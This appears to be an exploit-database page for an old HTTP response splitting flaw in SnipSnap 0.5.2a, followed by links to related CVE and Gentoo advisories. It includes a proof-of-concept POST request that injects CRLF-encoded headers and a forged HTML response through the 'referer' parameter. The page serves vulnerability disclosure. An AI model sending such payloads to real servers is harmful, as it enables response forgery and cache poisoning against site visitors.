Lucene search
Maestro De-SeguridadEDB-ID:24598HistorySep 14, 2004 - 12:00 a.m.
SnipSnap 0.5.2 - HTTP Response Splitting
2004-09-1400:00:00
Maestro De-Seguridad
www.exploit-db.com
18
AI Score
7.4
Confidence
Low
source: https://www.securityfocus.com/bid/11180/info
SnipSnap is reported prone to an HTTP response splitting vulnerability. The issue exists in the 'referer' parameter. The issue presents itself due to a flaw in the application that allows an attacker to manipulate how POST requests are handled.
This issue was identified in SnipSnap 0.5.2a and prior.
The following proof of concept example is available:
POST /exec/authenticate HTTP/1.0
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-length: 197
referer=abc%0d%0aConnection:%20keep-alive%0d%0aContent-Length:%200%0d%0a%0d%
0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:20%0d%
0a%0d%0a<html>0wned!!</html>&cancel=cancelRelated
cve
cve
CVE-2004-1470
2005-02-13 05:00:00
gentoo
gentoo
SnipSnap: HTTP response splitting
2004-09-17 00:00:00
nessus
nessus
GLSA-200409-23 : SnipSnap: HTTP response splitting
2004-09-17 00:00:00
openvas
openvas
Gentoo Security Advisory GLSA 200409-23 (snipsnap)
2008-09-24 00:00:00
Gentoo Security Advisory GLSA 200409-23 (snipsnap)
2008-09-24 00:00:00
nvd
nvd
CVE-2004-1470
2004-12-31 05:00:00
cvelist
cvelist
CVE-2004-1470
2005-02-13 05:00:00